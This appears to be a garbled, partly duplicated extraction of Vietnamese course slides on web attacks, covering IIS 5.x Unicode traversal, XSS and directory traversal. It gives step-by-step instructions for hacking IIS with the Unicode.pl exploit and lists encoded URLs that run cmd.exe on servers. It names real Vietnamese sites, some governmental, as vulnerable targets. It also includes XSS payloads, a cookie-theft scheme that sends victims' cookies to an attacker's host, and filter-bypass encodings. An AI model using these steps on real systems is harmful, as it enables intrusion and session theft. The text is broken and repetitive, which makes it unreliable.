b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
